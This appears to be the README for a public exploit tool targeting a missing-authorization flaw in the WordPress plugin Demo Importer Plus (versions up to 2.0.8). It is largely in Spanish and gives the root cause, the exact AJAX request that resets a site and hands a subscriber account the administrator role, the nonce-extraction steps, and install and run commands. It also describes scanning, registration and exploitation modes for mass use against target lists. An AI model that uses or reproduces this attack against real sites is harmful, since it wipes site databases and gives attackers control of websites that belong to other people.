nxploited/cve-2025-14364Demo Importer Plus <= 2.0.8 - Autorización faltante para Restablecimiento del sitio y Escalada de privilegios en usuarios autenticados (Suscriptor+)
Demo Importer Plus <= 2.0.8 - Autorización faltante para el restablecimiento del sitio autenticado (Suscriptor+) y escalada de privilegios
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
Suscriptor autenticado → Administrador mediante la acción AJAX
do-reinstall
Causa raíz:
Ajax::handle_request() registra la acción AJAX demo_importer_plus sin llamar a current_user_can(). Cualquier suscriptor autenticado puede enviar {"demo_action":"do-reinstall"} para activar wp_install(), que elimina todas las tablas de la base de datos (excepto users / usermeta) y vuelve a ejecutar la instalación de WordPress, asignando automáticamente el rol de Administrador a la cuenta atacante en el proceso.
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identify live WordPress targets
Mode 2 — Register
POST /wp-login.php?action=register
→ Create subscriber account
→ Activation email sent to inbox
↳ You MUST click the email link before running Mode 3
Mode 3 — Exploit
POST /wp-login.php → Authenticate as subscriber
GET /wp-admin/ → Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Trigger full site reset
← Response: "Site has been reset successfully"
→ Attacking account now holds Administrator role
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
Targets file: list.txt (one host per line)
Concurrency: default 30, max 200
Timeout: default 10s
Formato de objetivos — list.txt:
https://target1.com
target2.com
http://target3.com
Sondea cuatro endpoints por host y guarda los resultados limpios.
Mode: 1
Salida → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
Revisa tu bandeja de entrada y haz clic en el enlace de activación antes de ejecutar el Modo 3.
Salida → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
En caso de éxito, la herramienta imprime:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
Y escribe en exploit_results.txt:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
Petición vulnerable:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
Respuesta de éxito:
{"success": true, "data": {"message": "Site has been reset successfully"}}
Extracción del nonce — dos fuentes de respaldo:
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
THIS SOFTWARE IS RELEASED STRICTLY FOR SECURITY RESEARCH AND EDUCATION.
The author bears zero responsibility for any actions taken with this tool
against systems the operator does not own or have explicit written
authorization to test.
Unauthorized use against third-party systems violates computer crime laws
in most jurisdictions (CFAA, CMA, and equivalents worldwide) and may result
in criminal prosecution.
You alone are responsible for ensuring you have lawful permission
before running this tool against any target.
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 ALTA — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Plugin | Demo Importer Plus |
| Versiones afectadas | Todas las versiones ≤ 2.0.8 |
| Autenticación necesaria | Suscriptor (rol registrado más bajo) |
| Tipo | Comprobación de capacidades faltante → Restablecimiento completo del sitio → Escalada de privilegios |
| CWE | CWE-862 · Autorización faltante |
| Archivo | Contenido |
|---|
diagnostics_results.txt | JSON completo del sondeo por objetivo |
passed_targets.txt | Objetivos limpios (sin errores detectados) |
register_results.txt | Registros de intentos de registro |
exploit_results.txt | Login · nonce · resultados del restablecimiento · accesos admin confirmados |
reset_results.txt | Respuesta cruda de do-reinstall por objetivo |